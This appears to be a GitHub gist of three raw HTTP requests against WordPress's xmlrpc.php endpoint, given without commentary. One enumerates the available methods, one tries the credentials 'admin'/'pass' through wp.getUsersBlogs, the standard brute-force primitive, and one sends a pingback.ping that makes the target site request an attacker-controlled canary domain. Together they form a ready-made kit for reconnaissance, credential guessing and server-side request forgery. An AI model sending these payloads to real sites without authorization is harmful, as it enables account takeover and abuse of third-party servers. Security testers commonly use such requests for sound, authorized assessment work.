Skip to content

Instantly share code, notes, and snippets.

@Xib3rR4dAr
Created November 24, 2022 10:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xib3rR4dAr/fb30ee221f97f08aee0bb071bc90bc78 to your computer and use it in GitHub Desktop.
Save Xib3rR4dAr/fb30ee221f97f08aee0bb071bc90bc78 to your computer and use it in GitHub Desktop.
Wordpress XMLRPC
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 91
Content-Type: application/x-www-form-urlencoded

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 164
Content-Type: application/x-www-form-urlencoded

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 331
Content-Type: application/x-www-form-urlencoded

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://attacker-canary-domain.com</string></value>
</param><param><value><string>https://example.com/gaming/876453-some-sale-blog-post-of-example-com</string>
</value></param></params>
</methodCall>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment